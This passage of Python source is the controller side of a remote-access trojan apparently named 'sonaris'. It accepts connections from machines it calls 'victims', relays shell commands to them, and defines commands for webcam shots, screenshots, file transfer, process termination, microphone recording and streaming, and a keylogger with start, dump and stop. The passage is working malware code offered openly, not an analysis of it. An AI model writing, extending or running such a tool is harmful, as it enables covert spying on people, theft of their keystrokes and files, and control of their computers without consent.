342 | printr('Info: Download an external file. [green]Ex: /download sóastop.mp3')
343 |
344 | # taking a webcam shot from client side
345 | def webcamshot(self, args):
346 | self.checkFolders()
347 |
348 | if self.userAttached:
349 | try:
350 | self.sendLastCommand()
351 |
352 | header = self.receiveHeader()
353 | if args:
354 | if header['sucess']:
355 | data = self.receiveFile(header)
356 | self.saveReceivedFile(data, f'./{header["path"]}/{header["namefile"]}{header["extension"]}')
357 | else:
358 | printr(header["content"])
359 | else:
360 | if header['sucess']:
361 | printr(header['content'])
362 | printr(f'[green]Pass any webcam [yellow]Id[green] to take a webcamshot | Ex: [yellow]/webcamshot 2')
363 | else:
364 | printr(header["content"])
365 | except EOFError:
366 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
367 | self.removecurrentSession() # removing the current session because connection probaly was lost
368 | else:
369 | printr('Info: Takes a webcamshot of the user you are attached')
370 |
371 | # taking a screenshot from client side
372 | def screenshot(self, args):
373 | if self.userAttached:
374 | self.sendLastCommand()
375 | try:
376 | header = self.receiveHeader()
377 | data = self.receiveFile(header)
378 | self.saveReceivedFile(data, f'./{header["path"]}/{header["namefile"]}{header["extension"]}')
379 | except EOFError:
380 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
381 | self.removecurrentSession() # removing the current session because connection probaly was lost
382 | else:
383 | printr('Info: Takes a screenshot of the user you are attached')
384 |
385 | # calculating time response of some command | param: seconds of the period
386 | def calculateElapsedTime(self, seconds):
387 | seconds = seconds % (24 * 86400)
388 | day = seconds // 86400
389 | seconds = seconds - (day * 86400)
390 | hour = seconds // 3600
391 | seconds = seconds - (hour * 3600)
392 | minutes = seconds // 60
393 | seconds = seconds - (minutes * 60)
394 |
395 | return int(hour), int(minutes), seconds
396 |
397 | # adding the user to a session
398 | def addUser(self, data):
399 | self.connectedUsers.update({data['name']: data})
400 |
401 | # removing the current session attached
402 | def removecurrentSession(self):
403 | self.connectedUsers.pop(self.userAttached)
404 | self.detach()
405 |
406 | # removing the user from a session
407 | def removeUserSession(self, name):
408 | if name:
409 | if self.connectedUsers.get(name):
410 | if self.userAttached:
411 | self.detach(self.userAttached)
412 | self.connectedUsers.pop(name)
413 | printr(f'[green] Session with [yellow]{name} [green]removed!')
414 | else:
415 | printr(f'[red] There is no open session with [yellow]{name}.')
416 | else:
417 | printr('Info: Removes an active section. [green]Ex: /rmsession zNairy-PC')
418 |
419 | # cleaning the screen (obviously)
420 | def clearScreen(self, args=''):
421 | system('clear' if uname().sysname.lower() == 'linux' else 'cls')
422 |
423 | # showing the active sessions
424 | def showSessions(self, args):
425 | if self.connectedUsers:
426 | print(''.join(f' -{name}\n' for name in self.connectedUsers.keys()))
427 | else:
428 | printr('[yellow] There is no open sessions currently.')
429 |
430 | # showing the version of program
431 | def showVersion(self, args):
432 | printr(__version__)
433 |
434 | # showing how you can contact the author of code
435 | def showContact(self, args):
436 | printr(__contact__)
437 |
438 | # showing the author of code | "well, of couse i know him. He's me"
439 | def showCodeAuthor(self, args):
440 | printr(__author__)
441 |
442 | # closing the session/terminal session and exiting the program
443 | def closeTerminal(self, args=''):
444 | exit()
445 |
446 | # showing the available commands to use
447 | def availableCommands(self, args):
448 | printr(''.join(f' {command}\n' for command in self.allCommands.keys() ))
449 |
450 | # showing only the internal commands
451 | def internalcommands(self, args):
452 | printr(''.join(f' {command}\n' for command in self.allCommands.keys() if self.allCommands[command]['local']))
453 |
454 | # return all defined commands of program | setting a new command, name, your action, features...
455 | def setAllCommands(self):
456 | commands = {
457 | "/attach": {"local": True, "action": self.attach},
458 | "/detach": {"local": True, "action": self.detach},
459 | "/sessions": {"local": True, "action": self.showSessions},
460 | "/sessioninfo": {"local": True, "action": self.sessionInfo},
461 | "/userinfo": {"local": True, "action": self.userInfo},
462 | "/rmsession": {"local": True, "action": self.removeUserSession},
463 | "/screenshot": {"local": False, "action": self.screenshot},
464 | "/webcamshot": {"local": False, "action": self.webcamshot},
465 | "/download": {"local": False, "action": self.download},
466 | "/upload": {"local": False, "action": self.upload},
467 | "/processlist": {"local": False, "action": self.getProcessList},
468 | "/processinfo": {"local": False, "action": self.getProcessInfo},
469 | "/terminateprocess": {"local": False, "action": self.terminateProcess},
470 | "/micrecord": {"local": False, "action": self.micRecord},
471 | "/micstream": {"local": False, "action": self.micStream},
472 | "/kloggerstart": {"local": False, "action": self.kloggerStart},
473 | "/kloggerdump": {"local": False, "action": self.kloggerDump},
474 | "/kloggerstop": {"local": False, "action": self.kloggerStop},
475 | "/author": {"local": True, "action": self.showCodeAuthor},
476 | "/contact": {"local": True, "action": self.showContact},
477 | "/version": {"local": True, "action": self.showVersion},
478 | "/internalcommands": {"local": True, "action": self.internalcommands}
479 | }
480 |
481 | commands.update({"/commands": {"local": True, "action": self.availableCommands}}) # adding /commands to show all commands available to use
482 |
483 | return commands
484 |
485 | # returns function of the command (your action) and your respective arguments, if exists, if not returns False.
486 | def splitCommand(self, command):
487 | if self.allCommands.get(command.split()[0]):
488 | # 0: function, 1: args | example: /attach znairy = self.attach, 'znairy'
489 | return self.allCommands[command.split()[0]]["action"], ''.join(f'{cmd} ' for cmd in command.split()[1:])
490 |
491 | return False, '' # command does not exist
492 |
493 | # checking the possible commands (strings that starts with "/")
494 | def runCommand(self, command):
495 | self.lastCommand = command
496 |
497 | command, args = self.splitCommand(command)
498 | if command:
499 | command(args.strip()) # running the command passing your arguments #
500 | else:
501 | printr('[red] Command does not exist.')
502 |
503 | # receiving bytes from command response
504 | def receiveCommand(self, header):
505 | received = b''
506 | while len(received) < header['bytes']:
507 | received += self.getCurrentUser()['conn'].recv(header['bytes'])
508 |
509 | print(received.decode())
510 |
511 | h, m, s = self.calculateElapsedTime(time() - header["initialTime"]);del(h,m)
512 | printr(f'returned in {s:.1f} seconds.') # time response of command
513 |
514 | # sending last used command
515 | def sendLastCommand(self):
516 | self.getCurrentUser()['conn'].send(self.lastCommand.encode())
517 |
518 | # send command to be execute in shell of client side
519 | def sendCommand(self, command):
520 | self.lastCommand = command
521 |
522 | if self.userAttached: # if exists session attached
523 | self.sendLastCommand()
524 | try:
525 | header = self.receiveHeader() # receiving header of the command
526 | self.userCwd = header['currentDirectory'] # updating the current directory you are
527 | self.receiveCommand(header)
528 | except EOFError:
529 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
530 | self.removecurrentSession() # removing the current session because connection probaly was lost
531 | else:
532 | printr('[yellow] No session currently attached.')
533 |
534 | # starting the 'terminal' to get commands
535 | def startTerminal(self):
536 | try:
537 | while True:
538 | # yourusername@sonaris: current directory you are
539 | printr(f'[green]{getuser()}'+ '[white]@' + f'[green]sonaris[white]:{self.userCwd}# ', end='')
540 | command = input().strip()
541 |
542 | if command:
543 | if command.split()[0] not in ['clear', 'cls', 'exit']: # 'especial' commands
544 | if command.startswith('/'): # characteristic of an server command
545 | self.runCommand(command)
546 | else:
547 | self.sendCommand(command) # send to client side
548 | else:
549 | self.especialCommands[command.split()[0]]()
550 | except KeyboardInterrupt:
551 | print()
552 | exit()
553 |
554 | # start a thread
555 | def startProcess(self, function, arg=()):
556 | thread = Thread(target=function)
557 | thread.daemon = True
558 | thread.start()
559 |
560 | # receive the connections from the 'victims' in a paralel process
561 | def listenConnections(self):
562 | while True:
563 | connection, address = self.__Server.accept();del(address)
564 | response = loads(connection.recv(1024))
565 | response.update({"conn": connection, "initialTime": time()})
566 | self.addUser(response)
567 | printr(f'\n[yellow][*] Incoming connection from [green]{response["name"]}:{response["SO"]}')
568 | printr(f'[green]{getuser()}'+ '[white]@' + f'[green]sonaris[white]#:{self.userCwd}# ', end='')
569 |
570 | # configuring the socket object
571 | def configureSocket(self):
572 | try:
573 | self.__Server = socket(AF_INET, SOCK_STREAM)
574 | self.__Server.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
575 | self.__Server.bind(self.__Address)
576 | self.__Server.listen(1)
577 | except OverflowError:
578 | printr(f' "{self.__Address[1]}" [red]Port too large, must be 0-65535');exit(1)
579 | except OSError:
580 | printr(f' "{self.__Address[0]}" Cannot assign requested address');exit(1)
581 | except gaierror:
582 | printr(f' "{self.__Address[0]}" [red]Name or service not known');exit(1)
583 |
584 | # showing the info/configuration of the server (your address and port)
585 | def info(self):
586 | return f' Server is open on {self.__Address[0]}:{self.__Address[1]}'
587 |
588 | # starting the program
589 | def run(self):
590 | self.configureSocket()
591 |
592 | printr(self.info())
593 | self.startProcess(self.listenConnections)
594 | self.startTerminal()
595 |
--------------------------------------------------------------------------------